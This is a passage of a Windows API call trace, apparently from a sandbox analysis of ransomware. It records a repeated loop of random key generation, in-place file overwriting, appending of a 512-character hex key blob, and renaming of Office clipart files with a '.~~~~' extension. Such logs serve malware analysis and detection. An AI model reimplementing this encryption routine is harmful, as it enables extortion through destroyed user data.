	[0099.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.373] GetLastError () returned 0x0
	[0099.373] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.374] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.374] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.374] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21936441801) returned 1
	[0099.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4ec9c50, dwHighDateTime=0x1d60e1e)) 
	[0099.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dce8
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860cc8
	[0099.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.375] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.375] GetLastError () returned 0x0
	[0099.375] GetLastError () returned 0x0
	[0099.376] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.376] GetLastError () returned 0x0
	[0099.376] GetLastError () returned 0x0
	[0099.384] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe73c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.384] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x18c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x18c4, lpOverlapped=0x0) returned 1
	[0099.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.385] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.385] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.385] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.385] CloseHandle (hObject=0x144) returned 1
	[0099.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.~~~~")) returned 1
	[0099.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.386] GetLastError () returned 0x0
	[0099.387] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.388] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.388] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.388] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21937821721) returned 1
	[0099.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4eefdb0, dwHighDateTime=0x1d60e1e)) 
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862250
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862250 | out: hHeap=0x300000) returned 1
	[0099.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860e90
	[0099.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.389] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.389] GetLastError () returned 0x0
	[0099.389] GetLastError () returned 0x0
	[0099.389] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.389] GetLastError () returned 0x0
	[0099.389] GetLastError () returned 0x0
	[0099.396] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe77c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.397] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1884, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1884, lpOverlapped=0x0) returned 1
	[0099.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.398] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.398] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.398] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.398] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.398] CloseHandle (hObject=0x144) returned 1
	[0099.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.~~~~")) returned 1
	[0099.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.399] GetLastError () returned 0x0
	[0099.423] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.424] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.425] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.425] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21941491603) returned 1
	[0099.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4f3c070, dwHighDateTime=0x1d60e1e)) 
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28622c0
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28622c0 | out: hHeap=0x300000) returned 1
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860f28
	[0099.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.426] GetLastError () returned 0x0
	[0099.426] GetLastError () returned 0x0
	[0099.426] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.426] GetLastError () returned 0x0
	[0099.426] GetLastError () returned 0x0
	[0099.440] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbf08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.440] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x40f8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x40f8, lpOverlapped=0x0) returned 1
	[0099.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.441] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.442] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.442] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.442] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.442] CloseHandle (hObject=0x144) returned 1
	[0099.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.~~~~")) returned 1
	[0099.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.444] GetLastError () returned 0x0
	[0099.445] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.446] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.446] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.446] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21943644969) returned 1
	[0099.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4f88330, dwHighDateTime=0x1d60e1e)) 
	[0099.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862330
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862330 | out: hHeap=0x300000) returned 1
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861058
	[0099.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.447] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.447] GetLastError () returned 0x0
	[0099.448] GetLastError () returned 0x0
	[0099.448] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.448] GetLastError () returned 0x0
	[0099.448] GetLastError () returned 0x0
	[0099.493] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffda7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.493] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2584, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2584, lpOverlapped=0x0) returned 1
	[0099.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.495] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.495] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.495] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.495] CloseHandle (hObject=0x144) returned 1
	[0099.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.496] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.~~~~")) returned 1
	[0099.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.497] GetLastError () returned 0x0
	[0099.497] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.498] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.498] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.499] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21948909973) returned 1
	[0099.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4ffa750, dwHighDateTime=0x1d60e1e)) 
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28623a0
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28623a0 | out: hHeap=0x300000) returned 1
	[0099.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861220
	[0099.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.500] GetLastError () returned 0x0
	[0099.501] GetLastError () returned 0x0
	[0099.501] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.501] GetLastError () returned 0x0
	[0099.502] GetLastError () returned 0x0
	[0099.546] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff87a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.546] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x785c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x785c, lpOverlapped=0x0) returned 1
	[0099.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.548] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.548] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.548] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.548] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.548] CloseHandle (hObject=0x144) returned 1
	[0099.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
